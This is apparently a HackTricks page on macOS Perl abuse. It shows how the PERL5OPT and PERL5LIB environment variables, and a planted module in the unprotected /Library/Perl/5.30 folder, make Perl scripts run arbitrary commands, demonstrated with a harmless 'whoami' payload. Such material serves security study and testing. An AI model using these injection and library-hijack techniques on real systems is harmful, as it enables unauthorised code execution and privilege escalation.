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Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.
For example, create this script:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Now export the env variable and execute the perl script:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Another option is to create a Perl module (e.g. /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
And then use the env variables:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
It's possible to list the dependencies folder order of Perl running:
perl -e 'print join("\n", @INC)'
Which will return something like:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Some of the returned folders doesn't even exist, however, /Library/Perl/5.30
does exist, it's not protected by SIP and it's before the folders protected by SIP. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
{% hint style="warning" %} However, note that you need to be root to write in that folder and nowadays you will get this TCC prompt: {% endhint %}
For example, if a script is importing use File::Basename;
it would be possible to create /Library/Perl/5.30/File/Basename.pm
to make it execute arbitrary code.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.